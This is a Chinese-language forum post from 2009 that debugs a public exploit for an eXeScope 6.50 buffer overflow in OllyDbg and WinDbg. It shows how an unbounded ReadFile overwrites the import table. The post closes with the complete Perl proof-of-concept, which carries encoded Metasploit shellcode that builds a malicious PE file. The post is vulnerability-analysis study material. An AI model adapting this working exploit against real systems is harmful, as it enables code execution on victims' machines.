作 者: humourkyo
时 间: 2009-03-30,21:03
链 接: http://bbs.pediy.com/showthread.php?t=84975
无聊逛了下http://www.milw0rm.com 看最近有什么ODAY没,顺便挑一个分析下玩玩。
于是就看到了这个
http://www.milw0rm.com/exploits/8270
是eXeScope 6.50 Local Buffer Overflow Exploit。
用eXeScope 6.50打开生成的example.exe后弹出了计算器。
看了下他的exploit,感觉比较好理解。为了能找到漏洞发生的原因,我把shellcode前面的90改为cc(我是在example.exe文件偏移11e8处修改的),也就是int3。然后用od载入eXeScope,再用eXeScope打开example.exe,最下面显示堆栈溢出,使用shift+f7/f8/f9 来忽略程序异常。shift+f9执行后就来到这里。
可以看到程序暂停在了004d3258处。下面接着就是shellcode了。可是这个溢出的根本原因是什么呢?
看堆栈处,
004069FA 返回到 eXeScope.@LoadResString+36 来自 <eXeScope.LoadStringA>
看来程序是经过了这个函数后来到此处的。
重新加载一遍,ctrl+g来到004069fa处,在LoadStringA函数上面也就是004069f4处下个断点,然后f7走进去,这时发现
FF25 54324D00 JMP DWORD PTR DS:[<&user32.LoadStringA>] ; LoadStringA
DS:[004D3254]=004D3258 (<&user32.MessageBoxA>)
本地调用来自 @LoadResString+31
导入表被修改了,因为只要执行到004D3258就OVER了。
看来这个漏洞是覆盖了eXeScope的导入表。
不过还没有找到在哪里覆盖了。
还是用windbg再看看吧。先打开eXeScope,接着在命令行下
C:\Program Files\windbg>cdb -pn eXeScope.exe
输入G运行,再用eXeScope打开example.exe,
eXeScope+0x23b6:
004023b6 8b1e mov ebx,dword ptr [esi] ds:0023:4141413d=????????
这里有个内存读取错误。
再输入G运行
(778.6a8): Break instruction exception - code 80000003 (first chance)
eax=00400000 ebx=00407dfc ecx=00000000 edx=004cd0c8 esi=0012f778 edi=00000000
eip=004d3258 esp=0012f1d8 ebp=0012f77c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
eXeScope+0xd3258:
004d3258 cc int 3
这里eip指向004d3258了。
看来关键点就是004023b6。这里内存读取错误后,应该有个异常处理的,然后程序才能正常执行下去。
先看004023b6吧。
先运行起来,在打开example.exe的一瞬在004023b6下断点,断下后
.dd 4d3000
004D3000 00000000
004D3004 00000000
004D3008 00000000
004D300C 000D393C
004D3010 000D31A4
004D3014 00000000
004D3018 00000000
004D301C 00000000
004D3020 000D3C2A
004D3024 000D3250
发现导入表现在还没有被覆盖,而我们要找的就是看导入表在哪一刻被覆盖的。
那我就在4d3000处下内存写入断点。
然后把004023b6处断点取消。F9运行之就来到下面了
/*4C70A4*/ PUSH 0
/*4C70A6*/ MOVZX EAX,WORD PTR DS:[4D20EE]
/*4C70AD*/ MOV ECX,EAX
/*4C70AF*/ SHL ECX,3
/*4C70B2*/ LEA ECX,DWORD PTR DS:[ECX+ECX*4]
/*4C70B5*/ MOV EDX,eXeScope.004D2220
/*4C70BA*/ MOV EAX,eXeScope.004D1D8C
/*4C70BF*/ CALL eXeScope.0040302C
/*4C70C4*/ CALL <eXeScope.@@_IOTest>
/*4C70C9*/ MOV EAX,eXeScope.004C75E8
/*4C70CE*/ CALL <eXeScope.@TextToShortCut_0>
/*4C70D3*/ MOV DWORD PTR DS:[4D2C48],EAX
/*4C70D8*/ MOV EAX,DWORD PTR DS:[4D2C78]
/*4C70DD*/ CALL eXeScope.004027BC
从OD注释上看应该是处理资源的时候出的问题。
好,重新来过,在稍微前面点4C70A4处下个断点。经测试发现只要过了
/*4C70BF*/ CALL eXeScope.0040302C
导入表就被覆盖。看来就是call 0040302C出的问题
F7进去仔细看个明白吧。
进去后,又经我人肉测试,发现过了
/*402FBA*/ PUSH 0
/*402FBC*/ LEA EAX,DWORD PTR SS:[EBP-4]
/*402FBF*/ PUSH EAX
/*402FC0*/ MOV EAX,DWORD PTR DS:[EBX+8]
/*402FC3*/ IMUL ESI
/*402FC5*/ PUSH EAX
/*402FC6*/ PUSH EDI
/*402FC7*/ MOV EAX,DWORD PTR DS:[EBX]
/*402FC9*/ PUSH EAX
/*402FCA*/ CALL DWORD PTR SS:[EBP+C]
/*402FCD*/ TEST EAX,EAX
过了/*402FCA*/ CALL DWORD PTR SS:[EBP+C]后导入表就被覆盖
OK,现在问题终于找到了。
就是/*402FCA*/ CALL DWORD PTR SS:[EBP+C]的原因。
可以看到这个函数是<JMP.&kernel32.ReadFile>
他的几个参数分别是
句柄:140
读文件的缓冲区地址004d2220
读的字节大小:00002d78
:
而导入表起始地址是004d31a4.
004d2220+00002d78=4d4f98
显然超过了导入表的地址,全部覆盖了。
然后作者利用最近使用的导入表函数的地方,也就是LoadStringA,替换成了004d3258,刚好指向shellcode地址。
综上所述,该溢出的根本原因就是/*402FCA*/ CALL DWORD PTR SS:[EBP+C]
处<JMP.&kernel32.ReadFile>在读取资源时没有限制大小,导致构造的数据覆盖了eXeScope的导入表。
最后我不得不佩服作者如此巧妙的利用。另外这个漏洞真有趣,因此记录之.OVER。
附poc代码:
#
# eXeScope 6.50 Local Buffer Overflow Exploit
#
# Download eXeScope 6.50 at:
# http://hp.vector.co.jp/authors/VA003525/eXeSc650.zip
#
# Exploit by: Koshi ( heykoshi@gmail.com )
#
use strict;
use warnings;
my $headers =
"\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00".
"\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB8\x00\x00\x00".
"\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68".
"\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F".
"\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x65\x69\x74\x68\x65\x72\x20".
"\x77\x61\x79\x21\x21\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00".
"\x8F\x8A\xF9\xDB\xCB\xEB\x97\x88\xCB\xEB\x97\x88\xCB\xEB\x97\x88".
"\x48\xF7\x99\x88\xCA\xEB\x97\x88\xA2\xF4\x9E\x88\xCA\xEB\x97\x88".
"\x22\xF4\x9A\x88\xCA\xEB\x97\x88\x52\x69\x63\x68\xCB\xEB\x97\x88".
"\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\xFF\x00".
"\xAB\xBA\x5C\x49\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\xF0\x01".
"\x00"x224;
# win32_exec - EXITFUNC=process CMD=calc Size=161 Encoder=ShikataGaNai http://metasploit.com
my $shellcode =
"\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23".
"\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0".
"\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3".
"\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f".
"\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4".
"\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2".
"\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba".
"\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f".
"\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56".
"\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9".
"\xe4";
my $buff0 = "A"x4148;
my $eip = "\x58\x32\x4D\x00"; # 004d3258 - eXeScope.exe
my $sled = "\x90"x20;
my $len = 6028 - length($shellcode);
my $buff1 = "A"x$len;
my $datas = $headers.$buff0.$eip.$sled.$shellcode.$buff1;
open(my $files, "> example.exe");
binmode $files;
print $files $datas;
close($files);